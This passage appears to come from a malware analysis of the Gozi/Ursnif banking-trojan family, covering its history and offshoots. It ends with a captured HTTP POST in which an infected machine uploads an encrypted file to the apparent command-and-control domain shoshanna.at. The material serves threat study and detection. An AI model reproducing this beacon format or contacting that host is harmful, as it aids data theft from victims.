It was offered as a CaaS, known as 76Service. This first version of Gozi was developed by Nikita Kurmin, and he borrowed code from Ursnif aka Snifula, a spyware developed by Alexey Ivanov around 2000, and some other kits. Gozi v1.0 thus had a formgrabber module and often is classified as Ursnif aka Snifula. In September 2010, the source code of a particular Gozi CRM dll version was leaked, which led to Vawtrak/Neverquest (in combination with Pony) via Gozi Prinimalka (a slightly modified Gozi v1.0) and Gozi v2.0 (aka ‘Gozi ISFB’ aka ‘ISFB’ aka Pandemyia). This version came with a webinject module.

```
POST
/images/wsF0B4sp/ZaYjjdVgt73Q1BSOy_2Fofi/qF_2BfPTuK/5Ha_2F0xEvmbSfT_2/FluJ8ZF_2Fx8/g6x
 HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
Content-Type: multipart/form-data; boundary=36775038942641984568
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Content-Length: 399
Host: shoshanna.at

--36775038942641984568
Content-Disposition: form-data; name="upload_file"; filename="78C6.bin"

\.\..V.]:.o..<]......H..)E.J=x...e%3..U.@.f......].tZ..1....g..OzC.5v.?
o.NL...;..)..E.G.a~.....M#;.Cu;N/.3\$....x.....R....e..5.....-mW,..
..C.................n.G.|..k0...@...?
I.Iu......9k^.U6tzT9.b.3....#..V.4].La....zL.h+...aa..H.D.....Ar.......3.w.
<.!.-.....|F9! 3.....7
--36775038942641984568--
```